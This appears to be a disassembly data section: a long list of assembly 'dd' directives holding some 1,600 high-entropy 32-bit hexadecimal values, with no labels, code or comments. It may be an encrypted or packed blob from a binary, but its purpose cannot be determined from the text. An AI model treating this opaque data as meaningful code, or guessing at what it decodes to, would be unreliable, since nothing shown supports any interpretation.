dd 4A74BA4Eh, 2C22998h, 34D308D5h, 8E88CA29h, 7BC92708h
dd 0FA843F04h, 0B7F400FCh, 0E9DA0B03h, 58D4A055h, 75DD885Ah
dd 0D5F62D5Bh, 315C4441h, 68F8DB44h, 2FA80609h, 20FD18B2h
dd 6240ABB3h, 2BBA1D66h, 709C3237h, 277EE42h, 0DB329E9Dh
dd 148789BCh, 7D6945FEh, 0B41C74D9h, 5D1419A4h, 0AF0F0613h
dd 441E51C8h, 559F5BA5h, 65FD4A0h, 0CC71DE8h, 338F9D05h
dd 0C70F7385h, 5E9AE5D4h, 5B812EAh, 157FFDCh, 0F123A2CFh
dd 4AC44037h, 4367F413h, 0E5A0DF0Ch, 4F34E94Ch, 68617035h
dd 0AAA64E22h, 50FFCC9Fh, 61FAA91h, 78AA73BBh, 0B11296E0h
dd 380F5C3Fh, 2360A0EBh, 1BE560Ch, 61AB4770h, 3AB64EE9h
dd 0F0944737h, 0B052F5A0h, 0FB713F52h, 3D5E4FF8h, 0B5E62C81h
dd 0A640C009h, 72DB15h, 5D9052E5h, 92AFF681h, 70B02B27h
dd 16579575h, 0CB092724h, 0E94B105Dh, 0AFF44B5Ch, 0AB43D0C9h
dd 0DF8DAA11h, 3005728Bh, 1954F9FBh, 981055E6h, 20968604h
dd 0FF8278FCh, 79BC86Bh, 61463D9h, 3EFB0B9Ch, 0B95C7953h
dd 0BAF84234h, 62C6A15Bh, 5859CC50h, 255494F7h, 0BE0CE1E6h
dd 0F45A652Bh, 424BBEC6h, 0CF54E02Ah, 0C4B5C565h, 632F1F64h
dd 0D6EB8FF5h, 72C8DDDAh, 3B266246h, 6412963Ch, 0EF6465FEh
dd 5142CDA6h, 9B7D5E2Dh, 0BB0FA34h, 0D08315Ch, 1CF0278Eh
dd 0B3328B8h, 0B9FB1595h, 0B37A3BE5h, 5CE24B19h, 9362A8C6h
dd 565BD927h, 0DAEB9018h, 49C77734h, 0F18BAB0Ch, 0CDC809EAh
dd 0F7A20D87h, 0E7E15F09h, 4505DADDh, 0D1B69C0h, 61A76358h
dd 0FA90D387h, 0E912D7F7h, 0ABF35BD0h, 500EE310h, 4A004240h
dd 0C8E68112h, 0B1DE125h, 0B37BE951h, 70C28B7Ch, 639CF715h
dd 0ECC5DEA1h, 82BF4154h, 9AD60200h, 85FF89E6h, 89123098h
dd 3021C7B5h, 5AF5E42Bh, 0BA4E4392h, 68C257E9h, 89A31235h
dd 98713DAh, 871D73E5h, 0E9784364h, 5884B598h, 0E1E2EE53h
dd 0DE6CF992h, 2CEAC313h, 1BB5503Dh, 239B6DAh, 73A16C34h
dd 6892D58h, 0B8CC5FDh, 0E6A6C289h, 74096258h, 10E6F5Fh
dd 82752166h, 3F17D6DAh, 1CA00851h, 50678914h, 20DC0BE6h
dd 0B814540Fh, 257C260Ch, 547046BAh, 6ACB6815h, 0D3D83A9Bh
dd 0DBC45FC6h, 0AC02B70Ah, 785A6884h, 90C5C0BCh, 6A35FE33h
dd 503ED0AEh, 6012FC68h, 0D1EC2D0Eh, 0B485483Ah, 0E9927F4Dh
dd 3521202h, 784DD9AAh, 0E68D8486h, 6C004A09h, 0D91AB7A0h
dd 0F9D6292Dh, 16F4690Eh, 0E9118801h, 5A342F8Bh, 565814C1h
dd 0D1D213BEh, 27F02167h, 4FD25EF1h, 0F8F14B30h, 27E92877h
dd 0FE453C91h, 1B79A53Dh, 0FEEDD963h, 0C12EA049h, 3AE016C3h
dd 401EAA28h, 0D45FB777h, 1A48D6B8h, 0AFFEE813h, 0C6483F2Dh
dd 5BEE403Bh, 339407ECh, 2FDCD42Dh, 0DB733CFAh, 0F7EC6BEAh
dd 1CFE71BFh, 0BF8128Bh, 5EC6949Fh, 5761B669h, 0ADB03490h
dd 383457D6h, 76E0E600h, 5EE941C2h, 5D8A1DE2h, 0F3B074BDh
dd 0B778486h, 7DC76803h, 0E2B00B2Dh, 35AF9CA5h, 0EA51FAE9h
dd 0E916DBCEh, 0FBA452B9h
dd 0BF3D728Bh, 52EB1F60h, 3048097Dh, 9FE302A1h, 0D5349A7Ah
dd 30C8F72h, 31B1BAE9h, 33B513EAh, 70940458h, 1AFB1D4Eh
dd 0D590FDB0h, 0CF1A7CF8h, 5FCE7950h, 3915CB61h, 27F30181h
dd 56320806h, 971CE96Ah, 42F74549h, 86FA75A7h, 0BDF11D60h
dd 4EEB5443h, 0DD60BE23h, 2F02F83Dh, 817D0540h, 15EBE909h
dd 0A4C834h, 81C55EB1h, 5B2F5AC7h, 0CD37058h, 4518A1E9h
dd 0DF5E09F2h, 0BD80D452h, 0E7108B1h, 0E6017ABDh, 0A537139Fh
dd 4156B902h, 171CA008h, 3C875A12h, 0E9E638EAh, 8B136AE1h
dd 66B186ECh, 82443FD3h, 0F01FE4A6h, 0B5671068h, 310C0E60h
dd 0C12FCB39h, 0E82B8774h, 0EEF13113h, 93861C5Dh, 16D92FAFh
dd 3745F525h, 0DBF77589h, 41F7A51Eh, 0C46259B0h, 0DEEF52CFh
dd 0DCE9F0E1h, 487333Ah, 40CA6851h, 407B38B3h, 0FE07BD49h
dd 31E35D88h, 56EB59BAh, 89440BA3h, 1D54BD46h, 0E1266889h
dd 0F56BAB3Ch, 0FC305FCDh, 1D8442Bh, 82E1810Ah, 8268964Fh
dd 3A630F0Ch, 0F660DD12h, 0D05DB4E9h, 54012D53h, 0E70D4960h
dd 7662778h, 5A66D030h, 70C2C345h, 13DFF2B2h, 0AFF42F44h
dd 890F5C0Eh, 0B300F579h, 704957F0h, 61EDE927h, 9421C067h
dd 0FE203A21h, 58ABA63Eh, 631248B4h, 4AF2EF0Ah, 3AF788A1h
dd 225F8D91h, 71D50101h, 7D5C7967h, 4FC06DE0h, 0E148B5C5h
dd 4D1AF67Ch, 0AC4B6019h, 84E1F28h, 223513BEh, 0BBC44FFCh
dd 0F4800330h, 0DAF88555h, 608C266h, 0A2EC027Dh, 29C2E918h
dd 1756E669h, 804A4340h, 441ACE3Fh, 0D157AF1Ah, 5E6551Ch
dd 7C1E918h, 2712F6E3h, 0C4758046h, 3E91357h, 9364FA19h
dd 0A137ADAEh, 0E46BC331h, 0BB41FAAEh, 8B70C83Ah, 6E9F95B0h
dd 411298DEh, 2F04ED3Bh, 22204A7h, 58EE8100h, 13CD827h
dd 0B85000DEh, 70A2309Ch, 234A4335h, 87000DACh, 0E9C6EBECh
dd 59B5A83Eh, 0BF57C045h, 0FD3E33EDh, 6E454C40h, 50FB890Dh
dd 0CC5A504Fh, 9D4B1857h, 5DBF6C3Eh, 7776EB25h, 0BB61B98Eh
dd 3A1B89BAh, 968B65E3h, 0E9562780h, 56B12BD3h, 0F550AA03h
dd 87B2F702h, 7B0CC3CBh, 0E296941Ah, 8002F46Eh, 0F3DFC1EEh
dd 182C2AE9h, 2D5A5016h, 0B14415BFh, 90A22BF7h, 0B4B6E093h
dd 536C4118h, 9C362E3h, 3E2C105h, 42DA1902h, 0AB9A36C0h
dd 317E7817h, 88C7C3A0h, 374BC5E9h, 0BCAF2594h, 7E47476Ch
dd 28EB5833h, 2D91795Ch, 937ACC39h, 82060269h, 9F7C339h
dd 5D6A1A09h, 96775A5Fh, 205A986Ch, 0D25F65C7h, 4FC15980h
dd 85225EEEh, 8890FB06h, 58E41606h, 2A5E6B38h, 2C4B747Ch
dd 0C7B8ABAh, 0C9014F68h, 5B3BCFF2h, 0BC64C52Ch, 15754914h
dd 0C0A25FA1h, 0C6E86227h, 44BF02E8h, 48E7301Bh, 57843518h
dd 0D16037Ah, 601F7645h, 624B11D3h, 4FAF83C1h, 0CC264A68h
dd 96E6CF85h, 737C78BFh, 0E329BD58h, 865CF75h, 6603C996h
dd 0C927CB68h, 292F2CCEh, 6ECA6FD9h, 0CFB05000h, 0D3F6D886h
dd 5F19C2C9h, 91F40C18h, 69705381h, 1AE9440h, 0F877E235h
dd 6043F25h, 0FC13C2D9h, 0D6A65E0Bh, 0E68BAB96h, 0B9C1B85Bh
dd 68A0813Ch, 0DDA9616Dh, 56BA648Eh, 0FA5F90C4h, 0EF2A3489h
dd 4EB5A53h, 0E31B6C34h, 17607C73h, 0BE6B45D5h, 6BDA986Dh
dd 0C8DF40FFh, 0B654447Ah, 0DE9B42A1h, 3EFAD05h, 117E57A7h
dd 810813E1h, 347BC9C1h, 0F8EC1716h, 0B92EC19Eh, 0E83313EFh
dd 2C1F2DBDh, 0E5C93F15h, 3618D5BAh, 45C01145h, 7B2CDAEEh
dd 7E0CC137h, 2E46397Ch, 0B8926CADh, 0DCEE2EFBh, 513A182h
dd 1B9C235Fh, 4F7F6479h, 0C4E83FE3h, 2E8F55B1h, 0AF393DFAh
dd 80D501FCh, 4EA597F5h, 0E0817CE1h, 0A40C33C5h, 40524540h
dd 0B5B78DBh, 84F9E9CEh, 450E83A9h, 51DE3860h, 2505E0D1h
dd 681C23C2h, 12258BEBh, 3DB84798h, 4878CAC9h, 0D5A72396h
dd 18BAB95h, 0DF27B2C7h, 0C11EEE16h, 0C89210E8h, 4D57A116h
dd 2D2D8BAh, 46F6074Ah, 36C37C4h, 0C250EAD1h, 0F7F4CCh
dd 0C380B5B3h, 18246801h, 0AEC43942h, 0E92BE9A1h, 3144A49Bh
dd 5F0B0674h, 12FA1E5Dh, 0AB300E68h, 0B92B8E3Dh, 551D897Bh
dd 0A82047C6h, 0BC0B737h, 555E57A4h, 0E93E23FFh, 9C0ABAFCh
dd 6147255Ch, 6A0C32D2h, 0A3E86B3Ch, 89094C31h, 0AB504F7Bh
dd 2820B1C9h, 0E1CFD640h, 16496E15h, 0B37AF555h, 0C40BBB90h
dd 0F019908h, 52DEA466h, 0AF9177ABh, 287C4A89h, 89929823h
dd 0C9B2D384h, 0D31509D6h, 0EA5176DCh, 56A69128h, 0D6700E07h
dd 4576E975h, 0BFEB5F9Fh, 0D55E700Bh, 5349BACEh, 4D20933Bh
dd 9C1001E9h, 0CE28E2BAh, 7B056257h, 0AEF869A6h, 2C622EA1h
dd 0C65325D8h, 0B5C5B5F5h, 0B092452Ch, 0C65BA2EEh, 0C1B5D5Fh
dd 4ADD68C1h, 99FA919h, 0B8367F41h, 86A3E92Fh, 0F2FD5856h
dd 0BE73FFB5h, 9DE17178h, 8D0D2390h, 661C0717h, 30327B9h
dd 460C835h, 2C3905D0h, 8A7EBE3Ah, 0EC72ED13h, 374908h
dd 6807EFC1h, 989D6240h, 2E534FEAh, 13336999h, 0EB99949Ah
dd 64597592h, 9C5B5802h, 54E6E9B1h, 0D51187C5h, 47B5BFEFh
dd 326A06F9h, 40D4EB46h, 4E8BA42h, 0FEECAB2Dh, 0F67E824Eh
dd 0BD26DDD6h, 9463C00Ch, 95F8248h, 51BFC0E9h, 0B3F51EB5h
dd 0E19C8DDAh, 2036014h, 78DE4771h, 5B6FAFCh, 629AF96Bh
dd 0E22DEB54h, 0C1C70FE0h, 605DBA10h, 0ED4AEDD2h, 0CBC56A76h
dd 0EC7EDACAh, 0E87ED3DDh, 6E2E1346h, 5F84BFC8h, 0DD00C2C8h
dd 0A4FAEE25h, 1F4B0FCEh, 0BAE8BEEh, 0D15FC168h, 70D38908h
dd 0BF019EDDh, 0C740B42h, 0BB96DF2Dh, 0DD54B0C9h, 0CB3C6FE4h
dd 959F7920h, 28802FD8h, 6AEA8033h, 0C0E2D01Dh, 0C2FE0742h
dd 0C5C48066h, 3059B450h, 0E904DCF6h, 99B57912h, 0E2354C4Ah
dd 0C0DDFCh, 0B25207EDh, 22F280A2h, 0D388531Fh, 0DA3D74B9h
dd 0BEC2895Bh, 252CD030h, 1AB5991h, 2E8F9357h, 898B3128h
dd 992BD8E9h, 9EF31CDFh, 0CE010902h, 257435FCh, 0E2635CE9h
dd 13A7FECDh, 0BBB46E48h, 1C9EC166h, 254BD068h, 5DBE32F7h
dd 8A6871B0h, 0D9EC784Fh, 0EC77C8C4h, 61B2C0A0h, 558305Ah
dd 0B10AA3BBh, 3E90BA22h, 483BCFCBh, 3D1293FDh, 93204EBh
dd 602699C2h, 6600EE16h, 0FE051884h, 552E779h, 2A412C25h
dd 0B0B9825Ch, 82E92B74h, 4562B2Dh, 0C980AA5Dh, 1F68727Ch
dd 474DB927h, 5E9548Fh, 2F75C976h, 9A5A9E52h, 55E7784h
dd 587AE9F0h, 7E813991h, 3153AA52h, 0D4BF322h, 0AF4041ACh
dd 866C2720h, 3CE02800h, 0E912652Dh, 13A3E85Ah, 178DF61Ch
dd 8858AB80h, 12C5A2Eh, 970567DAh, 9C16F020h, 34DED450h
dd 0F0D6E909h, 0A25A5BC7h, 0D5311CDFh, 10E2EA99h, 5EB4917Bh
dd 4BBE2D49h, 0BB0D8AC0h, 0E47EB011h, 0C2DF76A3h, 0D6015D36h
dd 0DD6BC451h, 194125B2h, 6E469E8h, 84456AC5h, 0ABBA16FCh
dd 0AF25132Eh, 67D2A5F0h, 503F7442h, 64E91F70h, 0C2F56CF7h
dd 64FEDAE7h, 0FC5B4C02h, 403CF826h, 4091184Eh, 85BF82D2h
dd 5491EEE3h, 2A197301h, 0E10DFF6h, 0B9127E03h, 0CFEFC22Ch
dd 0B7E90BE0h, 7720122Eh, 509044F0h, 0C0A64E20h, 451A1C7Eh
dd 0CF09054Bh, 29023E35h, 0A008E868h, 8371C221h, 3B60B753h
dd 0C73D80E7h, 392C38A3h, 5B4BF4F8h, 418CCBE4h, 629C00BCh
dd 6617F75Fh, 57AFBE56h, 35DBC70Ah, 8F5782D5h, 66EF1A5Ch
dd 217AC69h, 0E4E887F6h, 4AF7053Eh, 6807DD66h, 6804188Eh
dd 0ED8C48FDh, 34534956h
dd 659B3E0Bh, 2540D580h, 7A0136FCh, 39DA0D45h, 932037B6h
dd 6B3F1259h, 359FC341h, 0FCAC88C8h, 0F7EDE92Dh, 0DEC4DE84h
dd 0C5E90CCAh, 0BC61F0Bh, 0DEE34065h, 5C7BC9D5h, 0C9673C25h
dd 855DE91Ch, 0B2FEFF2Dh, 980B1750h, 876737D1h, 0E8F1647Bh
dd 1516724Ch, 15C04655h, 1262A25Ah, 0AE6C73E9h, 7EB2C977h
dd 0C535E621h, 0C3810206h, 6D8B2855h, 97260C38h, 5CE13FB8h
dd 7464FD40h, 0ADC4A0E7h, 0DAEAB727h, 0EC26BA02h, 363CB800h
dd 861C60C0h, 607A0C7Ch, 0B9828FA0h, 9598418h, 0C22B6130h
dd 0F6E8B240h, 85140FE0h, 17A18BAAh, 6E700E68h, 2AE9692Ch
dd 2CF10750h, 6BC0128Dh, 79963D02h, 1641EF5h, 0FEF2B050h
dd 6482E9C0h, 0CF4F8938h, 0C7BFC312h, 0BAC36429h, 0FF4A35A2h
dd 0B2E94105h, 552400A8h, 3D81B911h, 2AF7BD01h, 83DE4179h
dd 82977EB4h, 15F03C21h, 0C1DFB132h, 3D1C7EEDh, 0C4503E7Bh
dd 4A4B5A08h, 0BE76604Ch, 4D641696h, 4056B865h, 730AFBC4h
dd 0D44F221Ch, 45587D02h, 54E6AF1Ah, 7E3600BDh, 0E6811159h
dd 293012D1h, 9A9A0165h, 3006A119h, 4D3F5BADh, 3CFC60C8h
dd 1238E129h, 13F6F4E9h, 0EDF2AA3Dh, 0D0D889C4h, 0A29C655h
dd 685993A0h, 0F13A882Dh, 25AE6C5Fh, 1D065205h, 0E5EAC8E9h
dd 16CBF06Eh, 942D020Fh, 54242B72h, 9707201Dh, 59B13A00h
dd 0FDDB3642h, 0FBC80607h, 0C3ABB1Fh, 61771E01h, 0FDF1E90Dh
dd 0CFF76Fh, 0E1685251h, 0B073330Ah, 0C15C7F1Eh, 1FD8CEC5h
dd 0D003F3EAh, 21F06E78h, 485E9889h, 28A9092Dh, 205508BDh
dd 0B7523506h, 0F10D5B39h, 57CE6E0Eh, 19FEB4Dh, 0F76616F1h
dd 0D0843A5Dh, 27AE4180h, 313A7852h, 0F7B22468h, 6C1E7D3h
dd 0C19D83E1h, 84253717h, 185ED4EFh, 13064208h, 582BBD2Dh
dd 3082E36Dh, 0BF0EA5F0h, 9602AF8Bh, 28750836h, 0E9090866h
dd 0FBA4D5F0h, 0F1E3FFA7h, 87E1C92Eh, 3B62B3B9h, 0EE4A3902h
dd 54F2C56h, 49BEFBBEh, 0C25D2DB2h, 27096444h, 0B79E63DAh
dd 0AA94F595h, 8950F49Dh, 51FAF387h, 1E7E4CEAh, 32B0355Fh
dd 8A534A59h, 1E0F5077h, 76E43214h, 755D09E5h, 4B330E14h
dd 66B81999h, 90ABFC3Ah, 41BB009Eh, 5E95F0Dh, 9CDB336h
dd 504E4C6Dh, 806462F6h, 0A680C117h, 0F9296638h, 8176361h
dd 575D5AD2h, 41EBBC5Eh, 0A63B1114h, 0CA885E52h, 0B105055Fh
dd 0BB691A67h, 70B8284h, 3096C659h, 0E287FC02h, 0B62C2C2Eh
dd 0B310E426h, 768DB902h, 0D2DE6CE8h, 17E27208h, 43CEEA58h
dd 42891B58h, 0BB81F6D1h, 30131E8Ch, 3E2C44F5h, 10B0049Eh
dd 2016BF14h, 841D260Bh, 0CCBFA250h, 432CE93Eh, 75497921h
dd 62E77BD0h, 21386E89h, 57074112h, 0BD6C6920h, 875EC7A7h
dd 0E032C9F8h, 7A368549h, 6F4185A7h, 8A285960h, 2FB265F7h
dd 86AC9865h, 507BE989h, 0B25E5F80h, 88AF930Fh, 0D6491179h
dd 0B6EF03C8h, 0DAB7CAB8h, 1BF728Fh, 0DD205C5h, 0A5EE01AEh
dd 48546158h, 0FA5774D9h, 20E8C7D4h, 0DC27A107h, 84FB947Ch
dd 0AE0817CBh, 2617F6CBh, 42DBE55Bh, 0ED7417AEh, 0C98C7969h
dd 2C730055h, 820FB21Ch, 94AE83D7h, 974CBE37h, 4E2029F8h
dd 0C68005C3h, 0E2F320CAh, 85BD9F5Ah, 9FE95172h, 0E5936AF1h
dd 9EDF0EFh, 7927D77Eh, 0C5B37F15h, 7DB6BE13h, 87065EB2h
dd 8D1F7CFh, 0FBC6A2BDh, 68ECB042h, 53769D29h, 0D15F5443h
dd 0F72E1175h, 1B405E24h, 657135E8h, 7C1225E9h, 430AEDE5h
dd 0C58EDFE8h, 0A251C644h, 685D09C4h, 965D58E3h, 5B8EB01Fh
dd 5553228Fh, 5678FC55h, 4AE5B3D0h, 4AD8CFABh, 84C774FBh
dd 4A38ACC3h, 7F1A2DFFh, 0C6B14CBCh, 0B8D881D4h, 36954382h
dd 71CA86Ah, 29B02105h, 708BE932h, 97F2EE18h, 0B5507076h
dd 1949E247h, 50E233E9h, 3F0F7B66h, 9607D3CBh, 0E500C4B4h
dd 0FFD52858h, 974F5160h, 9D09785Ah, 0D57A1343h, 135EC584h
dd 3060DBF5h, 3D725C80h, 42CB8103h, 6C15606Ah, 2D539EDh
dd 80D858F2h, 2857DC7Dh, 0DCA3351Bh, 75ED068Ah, 80060CE0h
dd 586620C3h, 0E1645892h, 5544E637h, 53854341h, 3EEAFAB3h
dd 0DF9DAF70h, 27894DABh, 2CA29546h, 7EE5CA40h, 84EB8BC7h
dd 89126127h, 0C1AB61DFh, 2E0C000h, 7EDD70C9h, 62415A19h
dd 2E1135E8h, 680E70FDh, 0BA134B92h, 0A79656A3h, 0C821C4FBh
dd 5481C7FCh, 342BC7E9h, 1B134BF3h, 0F0AB17B3h, 31B80361h
dd 21C46EC7h, 73A2C967h, 21E077B8h, 38CE58D2h, 0BAC9BDF6h
dd 7B9590B9h, 1DEF0C79h, 0E90B7DBFh, 0BED55929h, 1A213B09h
dd 1FABDD8Fh, 81381E7Fh, 0D2048C99h, 0F5824184h, 46DFC488h
dd 0D36B341Dh, 64DAAB60h, 0D0ACE45Ah, 31E1CF9Ah, 0D40FE09Dh
dd 0C9277997h, 207784D5h, 2AB91258h, 54610516h, 4F5AD802h
dd 0BAB7E097h, 0F8141384h, 0FFAD087Bh, 9E685B02h, 978B4C17h
dd 769676FAh, 160DB2Dh, 27C47EDh, 0F2E32F5Eh, 35062910h
dd 2701345Dh, 39A727D5h, 0B4F43220h, 7E5DD2F8h, 6E2C4060h
dd 609720C9h, 804B17CEh, 6C5F1D68h, 54CF5B31h, 84E7BC04h
dd 6807D2BFh, 0FF129E36h, 0E65EB8CEh, 3AD516FEh, 95BAA9C8h
dd 0B770BDFh, 9C3175EDh, 7982875h, 66F7885Ah, 0D4B15140h
dd 0A5C92E80h, 726015B8h, 0C03C5A78h, 3D27B832h, 13209A3Dh
dd 0C7E3DEF2h, 8910FD3Dh, 0F8280091h, 0B5517F2Ch, 0F254FEC9h
dd 5E5F90E8h, 7A28456Eh, 2B884472h, 0C69BA820h, 211BBFF4h
dd 9CA8719Ch, 0B579AA20h, 8239EC5Ch, 40F117E5h, 7CD4814Bh
dd 29C8478Ch, 895B2CDDh, 97602F0Dh, 531EBF68h, 0F56D4966h
dd 0ED7F1E29h, 63056085h, 525AF007h, 74129E8h, 0EC1E347Ah
dd 45E9C2F2h, 0F952D77Ah, 22EB8335h, 5E110283h, 4BDFB9EDh
dd 2F6E69EBh, 0D1B05104h, 0F71348E8h, 71CB8DAh, 8D9ACEF0h
dd 550977F2h, 0D5105A22h, 496FC621h, 82841D7Eh, 752A9AD3h
dd 0E9C682FDh, 321FCC4h, 4C3B6855h, 13A7B51Eh, 29AA5EFEh
dd 345EFD81h, 931F2D93h, 78EF3BC1h, 0BA29514Dh, 5EE9F3CCh
dd 87D9A43Ah, 7FC1616h, 0AD5EDFFDh, 3473EE1h, 0D3E97713h
dd 0BFB900C4h, 346D115Dh, 0B09F781h, 571FA95Eh, 0B1D4CF09h
dd 0C44F5683h, 0AFCE5F2Bh, 50CD4049h, 6EC4BDBCh, 23A46851h
dd 7C552D7Ch, 0FD29D857h, 33345F5Fh, 1BF444ABh, 1CE93126h
dd 0BB6B843Ah, 9FB4B861h, 12E9B960h, 0BAFEDFE6h, 5922698Ah
dd 0F258E912h, 0A7EAC352h, 0EF15815h, 924CCA08h, 44A277B8h
dd 8186C6FFh, 0A73380C6h, 0F1F6C7D8h, 0CC4A9FB2h, 0F2C1B588h
dd 49522D8Bh, 3074CD8h, 0D1312514h, 1608CA26h, 901EBBE9h
dd 0E42AA0CFh, 0C0C2494Fh, 97807F31h, 0EA0F8BF5h, 20001C4Ch
dd 0A0681270h, 0DCDBAE1Ah, 578F004h, 23A9C235h, 4162DD7Ch
dd 47595742h, 17DDC902h, 194BFF6Eh, 0B6617BC0h, 0E9042190h
dd 0F03FDA94h, 6BAE46FBh, 0EF5EB316h, 0D38E1EAAh, 883244EAh
dd 0B2A7ACD3h, 402862C0h, 0B808F58h, 0EB20E2EDh, 112A656h
dd 0B573F4BFh, 84B65217h, 28296103h, 9D1675F3h, 7F5927Dh
dd 1F0393AEh, 8FA23406h, 0FD84AB0Dh, 0FC96D9EEh, 0FF4833DFh
dd 60BFE415h, 66F83099h, 18515B25h, 9798B499h, 0A1F280F0h
dd 6A70E398h, 2C39B290h, 3B913A1Fh, 0DE632F1Ch, 0F1723A06h
dd 1F65E7D3h, 0E95544FEh, 2575ACFEh, 34B8555Dh, 0E95CF766h
dd 7D582D5Ch, 0DCB52994h, 4E5D2548h, 0B67AF3A9h, 24BA5F31h
dd 98A2F223h, 64C3C3Ah
dd 0EBC14866h, 14900708h, 9EDEF509h, 3E0550Eh, 8C4C43B3h
dd 8BF12553h, 85F6CD14h, 28570AE9h, 1055BB3h, 659968F9h
dd 49296854h, 0C73117A1h, 0A285BA06h, 0C5EA0F3Dh, 929DE005h
dd 53C0EEEDh, 0B56DA0E9h, 0CFA86CAFh, 0B0019625h, 2EF3135Ah
dd 54790490h, 96802DDh, 33EDD57Bh, 52629F29h, 54D66056h
dd 13060325h, 1DD6E95Dh, 12AD4E3Eh, 60BB0AA3h, 4152D5C1h
dd 0C25B7B25h, 0F835490Dh, 0B7CD7670h, 8F7DE712h, 0C4FA6DA0h
dd 3B53802Bh, 81021417h, 0DE7C04CDh, 2A505F0Ch, 498FD703h
dd 5BEF014Fh, 8B13AB84h, 2D7B63B3h, 635C6C95h, 4D8C3460h
dd 882948B0h, 0FB665235h, 6C31AB91h, 0BCE9FC8Fh, 2EF099F9h
dd 0C0200FF6h, 0E6B71390h, 0B1D74EF9h, 0CBFC7A45h, 6DFDBEE4h
dd 0E4CE0D86h, 207FECB7h, 666F9FEBh, 0CDF92637h, 0B8459D28h
dd 0D8B12B6Fh, 6CE79D16h, 8E49322Eh, 254948FEh, 0F6041ED6h
dd 0B91D20B5h, 0EE883482h, 0C37682E9h, 780E19ACh, 7C5D0B30h
dd 0D8C47AC4h, 0A0992A25h, 0CC79970Ch, 8BDCB516h, 68D9F7C0h
dd 0CB4E4D6Bh, 0C0442384h, 8E5C15Eh, 992E91Ch, 0B43C5D2Dh
dd 0BAB84198h, 6866561Dh, 8E89769Eh, 80A676E0h, 0CD5AFAF5h
dd 46EC8715h, 0A206D4h, 79011836h, 0B57BDD68h, 0E914BE66h
dd 9BDE31Ah, 8F95B450h, 28624B73h, 0FFEBEDACh, 5022B4C9h
dd 7EAC1D7h, 2D1C44C9h, 0C7E0E0E6h, 512B92B5h, 36C48FF5h
dd 0E4695E96h, 9802CE93h, 0E911C420h, 9CC350D8h, 0DE742FD0h
dd 0B5E160D0h, 0C868F990h, 0C2493FFBh, 647F7CD9h, 277BB1F9h
dd 20AB4A4Fh, 54F3E921h, 25931495h, 97E69D84h, 90D8E225h
dd 9FC828C5h, 376C1657h, 5D39732Ch, 3CA201B0h, 0C16396F2h
dd 6F22C7FBh, 2EC7FB96h, 0CCF653h, 1D31B9B8h, 0E1D17DA3h
dd 0F7F9870Dh, 2C2B08DFh, 0E44E9AF8h, 0D5180F31h, 0A938D64Dh
dd 0F44E579Fh, 0A2B7EF68h, 0D5055EAEh, 0C1291A24h, 0D2DA4Dh
dd 2704F028h, 33F95A6Fh, 0E6073EBh, 1C1678B5h, 68C302DFh
dd 0E95E56F0h, 2B3BF262h, 2EE68161h, 0BE2B49E1h, 44FE053Dh
dd 0CBF22E30h, 545250ECh, 0FB505A2Fh, 34C496A3h, 4CE0AE1Ch
dd 3FE2B55Fh, 0C9577455h, 30A35BD7h, 6FB8687Eh, 0BEA8CF91h
dd 0F446DA02h, 70AAE925h, 0DBD8F7BEh, 972C920Eh, 45001DFCh
dd 5E29834Bh, 27482968h, 0F4A30978h, 25EB2630h, 5A4F6082h
dd 23162505h, 0C1CE66FCh, 2597740Fh, 5920A06Fh, 70245CBFh
dd 4450CDE9h, 92E04727h, 0C52030B8h, 962FB278h, 444B82ABh
dd 3CC11075h, 0F0D97BD8h, 0B6575444h, 40C565E0h, 0C2FD688Dh
dd 7D723FFEh, 4CC5578Bh, 0A8CFC5A7h, 0C450AE6Bh, 893565C3h
dd 5B53F4Fh, 5209EF00h, 5301E79h, 1EC8C3E7h, 3D84E2Dh
dd 0CA2CE972h, 0DCC073A4h, 0B007B44Ah, 12560B6Fh, 9C09675Ch
dd 3409E970h, 0D54FE020h, 0DF0C70C5h, 79ED81C7h, 193135Fh
dd 4FAAA855h, 8302C3A8h, 49308058h, 42A4E240h, 0DE15C525h
dd 0D6FC2591h, 0CEF0634h, 0C24D6700h, 0C806CE03h, 0CFA016Eh
dd 4C641AD0h, 4C0D096h, 5D4D2D40h, 2DBF9084h, 60681D14h
dd 0E8278008h, 85E07D3Eh, 2513B8C3h, 0E4BB29F1h, 0DC4C8851h
dd 665E271Dh, 0F2B22540h, 81204EFFh, 0A72FD3E7h, 2B50267Ah
dd 0A11E825Ah, 0A86801CDh, 810E526Dh, 4119D848h, 35583E14h
dd 56F6B06h, 0FBCA86CCh, 3B7DBB01h, 2C2994D1h, 0CB60E706h
dd 4EE230E4h, 8ACDBB35h, 200CF43Bh, 78CC1C05h, 2CB08DE9h
dd 7DD7582Ch, 83EDA12h, 0BA00C406h, 99E455Bh, 0ECD74A89h
dd 1B82F5AEh, 0F7879017h, 4B8B2649h, 0BBA416DEh, 0B710CDCCh
dd 0EA5D3A84h, 2C7B44B9h, 0AD7AD799h, 8303EC5Eh, 2A5059h
dd 955D10BCh, 0E9E7D123h, 0D35B3925h, 0DD8AF6Fh, 5E8C710Eh
dd 0BB53C501h, 0FFE90805h, 0AB4B46B8h, 0F6C6008Ah, 0AB81B36Dh
dd 7C5FFE46h, 0B7615A6Ah, 0A9A0A002h, 1E3727h, 80F681EFh
dd 28220CFAh, 0EE82F031h, 5C294040h, 0F2788FDh, 1689E7F9h
dd 8736D48Ch, 45799DE3h, 0F60EBE7Bh, 1630070h, 2541E9DFh
dd 0BE51FEF2h, 48E56ADh, 76AE172h, 20F6E408h, 8A03609Ch
dd 6C714876h, 0C4FE91Ch, 0F1F44C38h, 0A8331A95h, 0CA1EB216h
dd 79B7160Ah, 24DB4D14h, 0FD4B87EFh, 2809A1CFh, 0B402DFFAh
dd 903DE4Bh, 74FCBAC0h, 41762D1Eh, 78AA052h, 0C8203F11h
dd 5C21C82Ah, 0DE0307A4h, 40206251h, 1431FAC4h, 9E384223h
dd 8405A00h, 0CCE94352h, 29108097h, 4BE268F7h, 0C1E1CC10h
dd 2BB82F12h, 0EFC382AAh, 20775E55h, 0BB1540DDh, 0BD318403h
dd 0E1D9215Bh, 18AFA508h, 0EEE43F02h, 536504FEh, 0A54E940Fh
dd 9CAA7F24h, 749D5876h, 8C550FBh, 55CE6A9Dh, 45956078h
dd 277027FFh, 0E5209202h, 0A102E957h, 5ACE2CEBh, 7475DF20h
dd 0ECDDD907h, 0E8E15852h, 4D7862Fh, 16EF13BDh, 4FDC316Ch
dd 0F29C7A28h, 0E0109009h, 0DE688037h, 0F97FC2F3h, 83A7483Ah
dd 5D8F736Ch, 60F99C30h, 0BF1AE468h, 6CF4186Ch, 9A6947B4h
dd 4182FD89h, 81000E92h, 9249CCFh, 0EFC13667h, 10E76B00h
